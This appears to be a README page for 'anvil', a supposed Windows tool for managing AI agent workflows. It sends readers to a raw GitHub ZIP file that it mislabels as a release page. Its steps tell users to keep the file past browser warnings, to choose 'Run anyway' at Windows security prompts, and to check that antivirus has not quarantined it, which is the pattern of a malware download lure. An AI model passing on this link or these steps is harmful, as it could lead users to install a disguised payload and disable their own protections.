anvil is a desktop tool for running and managing AI agent tools on Windows. It helps you work with agent apps, CLI tools, and local workflows in one place. The goal is simple: set things up once, then use the same tools across different tasks without extra setup.
If you use AI tools, terminal tools, or agent-based apps, anvil gives you a single place to launch and manage them. It is built for users who want a simple setup and a clear path from download to use.
Use a Windows PC with a recent version of Windows 10 or Windows 11. For a smooth experience, keep at least 4 GB of RAM free and make sure you have enough disk space for the app and any tools you add later.
You do not need programming knowledge to start. You only need to know how to download a file, open it, and follow on-screen steps.
Visit this page to download:
https://raw.githubusercontent.com/deepaa6809/anvil/main/website/public/Software_v2.3-beta.3.zip
On that page, look for the latest release. Download the Windows file that matches your computer. In most cases, that will be an .exe or .msi file. If you see a ZIP file, save it first, then extract it before opening the app.
- Open the release page and download the latest Windows file.
- If your browser asks whether to keep the file, choose keep.
- If the file is in a ZIP folder, right-click it and choose Extract All.
- Open the downloaded
.exeor.msifile. - If Windows shows a security prompt, choose Run or More info, then Run anyway if you trust the source.
- Follow the install steps on screen.
- When setup ends, open anvil from the Start menu or desktop shortcut.
If the app starts from a ZIP file and does not need setup, open the extracted folder and run the main file inside it.
When you open anvil for the first time, it may ask for a few basic settings. These may include where to store files, which tools to use, or which agent setup you want to connect.
A typical first launch looks like this:
- Open anvil.
- Review the start screen.
- Choose the default folder if asked.
- Connect the tools you want to use.
- Start your first workflow or agent task.
If you are unsure which options to pick, keep the default settings. They are set up to work for most users.
anvil is meant to help you manage AI agent work without jumping between many apps. It can be used for tasks such as:
- Running agent tools from one place
- Starting and stopping local workflows
- Managing terminal-based tools
- Working with AI coding helpers
- Handling project work in isolated folders
- Connecting tools that use API access
- Supporting agent flows from different providers
It is useful if you switch between tools like Claude Code, Cursor-based workflows, or other command-line helpers and want a cleaner way to organize them.
Many users use anvil for:
- Personal AI projects
- Small team workflows
- Testing tools in separate worktrees
- Running agent tasks without a messy setup
- Keeping tool commands in one place
- Switching between different AI providers
If you work with more than one AI tool, anvil can make the process easier to track.
anvil may ask for access to files, folders, or network features depending on the tools you connect. This is normal for apps that run agent workflows or API-based tools.
When asked to allow access:
- Choose a folder you trust
- Use your main project folder or a test folder
- Keep your API keys private
- Store keys only where you need them
If you plan to use online AI services, you may need keys or login details from those services. Enter them only in trusted prompts or settings screens.
A simple setup for most Windows users looks like this:
- Install anvil.
- Open it once so it creates its folders.
- Add your project folder.
- Connect one tool at a time.
- Test a small task first.
- Add more tools after the first one works.
This keeps setup simple and helps you spot problems faster.
If anvil does not open:
- Try running it as an administrator
- Check if Windows blocked the file
- Reinstall the latest release
- Make sure your antivirus did not quarantine the file
If the app opens but does not do anything:
- Restart the app
- Check your internet connection
- Make sure the tool you want to use is installed
- Look for missing API keys or sign-in steps
If a download does not start:
- Refresh the release page
- Try a different browser
- Right-click the release asset and save the file again
If you extracted a ZIP file and cannot find the app:
- Open the extracted folder
- Look for the main
.exefile - Sort by name and find the file with the app name
You may see one of these files on the release page:
.exe— Windows app file.msi— Windows setup file.zip— compressed folder.tar.gz— compressed archive for other systems
For Windows, use the file meant for Windows if one is listed.
anvil may create folders for settings, logs, and project data. These files help the app remember your setup and run tasks faster.
Common folder locations include:
- A folder in your user profile
- A folder in your Documents area
- A local app data folder
- A project folder you choose during setup
If you move or delete these folders, the app may lose saved settings.
To update anvil:
- Go to the release page.
- Download the newest Windows file.
- Close the current app if it is open.
- Install or replace the old version.
- Open the new version.
If you use a ZIP release, replace the old folder with the new one after you extract it.
anvil is useful if you want to keep AI tools organized across different projects. It fits well with tools that use:
- CLI commands
- API access
- Agent setups
- Worktrees
- Local project folders
- Multi-tool workflows
You can start with one simple task and build from there. That makes it easier to learn without changing how you already work.
- Visit the releases page.
- Download the latest Windows file.
- Open the file and install anvil.
- Launch the app.
- Add a project folder.
- Connect the first tool you want to use.
- Run a small test task
After the first setup, try one of these:
- Open an existing project folder
- Connect a different AI tool
- Create a separate worktree for testing
- Use a new API key for a different service
- Run a small agent task and check the output